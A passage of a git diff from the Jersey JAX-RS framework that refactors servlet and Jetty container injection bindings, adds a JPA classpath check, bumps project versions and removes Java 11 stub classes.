 
                 bindFactory(ReferencingFactory.referenceFactory())
-                        .to(new GenericType<Ref<HttpServletRequest>>() {}).in(RequestScoped.class);
+                        .to(new GenericType<Ref<HttpServletRequest>>() {}).in(RequestScoped.class)
+                        .id(InjectionIds.SERVLET_HTTP_SERVLET_REQUEST_REF.id());
 
                 // response
                 bindFactory(HttpServletResponseReferencingFactory.class).to(HttpServletResponse.class)
-                        .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
+                        .proxy(true).proxyForSameScope(false).in(RequestScoped.class)
+                        .id(InjectionIds.SERVLET_HTTP_SERVLET_RESPONSE.id());
                 bindFactory(ReferencingFactory.referenceFactory())
-                        .to(new GenericType<Ref<HttpServletResponse>>() {}).in(RequestScoped.class);
+                        .to(new GenericType<Ref<HttpServletResponse>>() {}).in(RequestScoped.class)
+                        .id(InjectionIds.SERVLET_HTTP_SERVLET_RESPONSE_REF.id());
             }
 
-            bindFactory(webConfig::getServletContext).to(ServletContext.class).in(Singleton.class);
+            bindFactory(webConfig::getServletContext).to(ServletContext.class).in(Singleton.class)
+                    .id(InjectionIds.SERVLET_SERVLET_CONTEXT.id());
 
             final ServletConfig servletConfig = webConfig.getServletConfig();
             if (webConfig.getConfigType() == WebConfig.ConfigType.ServletConfig) {
-                bindFactory(() -> servletConfig).to(ServletConfig.class).in(Singleton.class);
+                bindFactory(() -> servletConfig).to(ServletConfig.class).in(Singleton.class)
+                        .id(InjectionIds.SERVLET_SERVLET_CONFIG.id());
 
                 // @PersistenceUnit
-                final Enumeration initParams = servletConfig.getInitParameterNames();
-                while (initParams.hasMoreElements()) {
-                    final String initParamName = (String) initParams.nextElement();
+                if (isJPA()) {
+                    final Enumeration initParams = servletConfig.getInitParameterNames();
+                    while (initParams.hasMoreElements()) {
+                        final String initParamName = (String) initParams.nextElement();
 
-                    if (initParamName.startsWith(PersistenceUnitBinder.PERSISTENCE_UNIT_PREFIX)) {
-                        install(new PersistenceUnitBinder(servletConfig));
-                        break;
+                        if (initParamName.startsWith(PersistenceUnitBinder.PERSISTENCE_UNIT_PREFIX)) {
+                            install(new PersistenceUnitBinder(servletConfig));
+                            break;
+                        }
                     }
                 }
             } else {
-                bindFactory(webConfig::getFilterConfig).to(FilterConfig.class).in(Singleton.class);
+                bindFactory(webConfig::getFilterConfig).to(FilterConfig.class).in(Singleton.class)
+                        .id(InjectionIds.SERVLET_FILTER_CONFIG.id());
             }
 
-            bindFactory(() -> webConfig).to(WebConfig.class).in(Singleton.class);
+            bindFactory(() -> webConfig).to(WebConfig.class).in(Singleton.class)
+                    .id(InjectionIds.SERVLET_WEB_CONFIG.id());
 
             install(new ServiceFinderBinder<>(AsyncContextDelegateProvider.class, applicationProperties, RuntimeType.SERVER));
             install(new ServiceFinderBinder<>(FilterUrlMappingsProvider.class, applicationProperties, RuntimeType.SERVER));
         }
     }
 
+    /* Checks the JPA on CP */
+    /* package */ static boolean isJPA() {
+        @SuppressWarnings("removal")
+        Class<?> clz = AccessController.doPrivileged(ReflectionHelper.classForNamePA("jakarta.persistence.PersistenceUnit"));
+        return clz != null;
+    }
+
     /**
      * Jersey application handler.
      */
@@ -305,7 +330,8 @@
         requestScopedInitializer = rsiProvider != null ? rsiProvider : DEFAULT_REQUEST_SCOPE_INITIALIZER_PROVIDER;
         requestResponseBindingExternalized = rrbExternalized;
 
-        final AbstractBinder webComponentBinder = new WebComponentBinder(resourceConfig.getProperties());
+        final InternalBinder webComponentBinder =
+                new WebComponentBinder(resourceConfig.getProperties(), webConfig, requestResponseBindingExternalized);
         resourceConfig.register(webComponentBinder);
 
         final Object locator = webConfig.getServletContext()
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
index 04910f0..077fec1 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,8 @@
 import jakarta.persistence.PersistenceUnit;
 import jakarta.servlet.ServletConfig;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.Injectee;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
 import org.glassfish.jersey.server.ContainerException;
@@ -38,7 +39,7 @@
  *
  * @author Michal Gajdos
  */
-public class PersistenceUnitBinder extends AbstractBinder {
+public class PersistenceUnitBinder extends InternalBinder {
 
     private final ServletConfig servletConfig;
 
@@ -110,6 +111,7 @@
     @Override
     protected void configure() {
         bind(new PersistenceUnitInjectionResolver(servletConfig))
-                .to(new GenericType<InjectionResolver<PersistenceUnit>>() {});
+                .to(new GenericType<InjectionResolver<PersistenceUnit>>() {})
+                .id(InjectionIds.SERVLET_PERSISTANCE_UNIT_INJECTION_RESOLVER.id());
     }
 }
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
index d66129e..93ada47 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,7 @@
 import java.util.List;
 
 /**
- * Provides an access to context path from the filter configuration.
+ * Provides access to context path from the filter configuration.
  *
  * @author Adam Lindenthal
  */
diff --git a/containers/jersey-servlet-core/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization b/containers/jersey-servlet-core/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
new file mode 100644
index 0000000..6bbf725
--- /dev/null
+++ b/containers/jersey-servlet-core/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
@@ -0,0 +1 @@
+org.glassfish.jersey.servlet.ServletBootstrapPreinitialization
\ No newline at end of file
diff --git a/containers/jersey-servlet/pom.xml b/containers/jersey-servlet/pom.xml
index 352e105..7e3b98d 100644
--- a/containers/jersey-servlet/pom.xml
+++ b/containers/jersey-servlet/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-servlet</artifactId>
@@ -74,8 +74,9 @@
                     <instructions>
                         <!-- Note: When you're changing these properties change them also in bundles/jax-rs-ri/bundle/pom.xml. -->
                         <Import-Package>
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/containers/jetty-http/pom.xml b/containers/jetty-http/pom.xml
index 292939f..d842c48 100644
--- a/containers/jetty-http/pom.xml
+++ b/containers/jetty-http/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.containers</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jetty-http</artifactId>
@@ -32,13 +32,6 @@
 
     <description>Jetty Http Container</description>
 
-    <properties>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
-    </properties>
-
     <dependencies>
         <dependency>
             <groupId>jakarta.inject</groupId>
@@ -79,8 +72,8 @@
             </exclusions>
         </dependency>
         <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
+            <groupId>org.apache.httpcomponents.client5</groupId>
+            <artifactId>httpclient5</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -125,144 +118,4 @@
         </resources>
     </build>
 
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>JettyInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/jetty/JettyHttpContainer.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
-</project>
+</project>
\ No newline at end of file
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
similarity index 99%
rename from containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
rename to containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
index c555e92..fbaeb41 100644
--- a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -47,8 +47,8 @@
 import org.eclipse.jetty.server.Handler;
 import org.eclipse.jetty.util.Callback;
 import org.eclipse.jetty.util.thread.Scheduler;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.MapPropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
 import org.glassfish.jersey.internal.util.ExtendedLogger;
 import org.glassfish.jersey.internal.util.collection.Ref;
@@ -119,7 +119,7 @@
      * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
      * {@link jakarta.inject.Provider injection provider}.
      */
-    private static class JettyBinder extends AbstractBinder {
+    private static class JettyBinder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
similarity index 100%
rename from containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
rename to containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
index 2e8b5c5..dcad978 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,8 +19,6 @@
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.core.Application;
 
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
 import org.glassfish.jersey.server.spi.ContainerProvider;
 
 /**
@@ -34,9 +32,6 @@
     public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler";
     @Override
     public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
         if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
             return type.cast(new JettyHttpContainer(application));
         }
@@ -45,9 +40,6 @@
 
     public <T> T createContainer(final Class<T> type, final Application application,
                                  Object parentContext) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
         if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
             return type.cast(new JettyHttpContainer(application, parentContext));
         }
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
similarity index 98%
rename from containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
rename to containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
index 9734342..5dd1bd6 100644
--- a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Markus KARG. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
index 5022fee..25cc6a1 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Markus KARG. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -21,8 +21,6 @@
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
 import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
 import org.glassfish.jersey.server.spi.WebServer;
 import org.glassfish.jersey.server.spi.WebServerProvider;
@@ -39,9 +37,6 @@
     @Override
     public <T extends WebServer> T createServer(final Class<T> type, final Application application,
                                                       final SeBootstrap.Configuration configuration) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
         return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
                 ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
                 : null;
@@ -50,9 +45,6 @@
     @Override
     public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
                                                 final SeBootstrap.Configuration configuration) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
         return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
                 ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
                 : null;
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
index 3d519b6..e69de29 100644
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -1,84 +0,0 @@
-/*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-import org.eclipse.jetty.server.Handler;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.ApplicationHandler;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.Container;
-
-/**
- * Jersey {@code Container} implementation based on Jetty {@link Handler}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Libor Kramolis
- * @author Marek Potociar
- */
-public final class JettyHttpContainer implements Container {
-
-    @Override
-    public ResourceConfig getConfiguration() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public void reload() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public void reload(final ResourceConfig configuration) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public ApplicationHandler getApplicationHandler() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param application   JAX-RS / Jersey application to be deployed on Jetty HTTP container.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     */
-    JettyHttpContainer(final Application application, final Object parentContext) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
-     */
-    JettyHttpContainer(final Application application) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
-     */
-    JettyHttpContainer(final Class<? extends Application> applicationClass) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
deleted file mode 100644
index 61e1977..0000000
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
+++ /dev/null
@@ -1,229 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.Container;
-
-import java.net.URI;
-
-/**
- * Factory for creating and starting Jetty server handlers. This returns
- * a handle to the started server as {@link Server} instances, which allows
- * the server to be stopped by invoking the {@link Server#stop()} method.
- * <p/>
- * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
- * This will be used to decrypt and encrypt information sent over the
- * connected TCP socket channel.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public final class JettyHttpContainerFactory {
-
-    private JettyHttpContainerFactory() {
-    }
-
-    /**
-     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *            segment will be used as context path, the rest will be ignored.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri) throws ProcessingException {
-        return createServer(uri, null, null, true);
-    }
-
-    /**
-     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *              segment will be used as context path, the rest will be ignored.
-     * @param start if set to false, server will not get started, which allows to configure the underlying transport
-     *              layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
-        return createServer(uri, null, null, start);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri    the URI to create the http server. The URI scheme must be
-     *               equal to "http". The URI user information and host
-     *               are ignored If the URI port is not present then port 80 will be
-     *               used. The URI path, query and fragment components are ignored.
-     * @param config the resource configuration.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config)
-            throws ProcessingException {
-
-        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
-        return createServer(uri, null, container, true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
-     *                      used as context path, the rest will be ignored.
-     * @param configuration web application configuration.
-     * @param start         if set to false, server will not get started, which allows to configure the underlying
-     *                      transport layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
-            throws ProcessingException {
-        return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
-    }
-
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @param start         if set to false, server will not get started, this allows end users to set
-     *                      additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     * @since 2.12
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
-                                      final Object parentContext) {
-        return createServer(uri, null, new JettyHttpContainer(config, parentContext), start);
-    }
-
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     * @since 2.12
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
-        return createServer(uri, null, new JettyHttpContainer(config, parentContext), true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param config            the resource configuration.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
-                                      final ResourceConfig config)
-            throws ProcessingException {
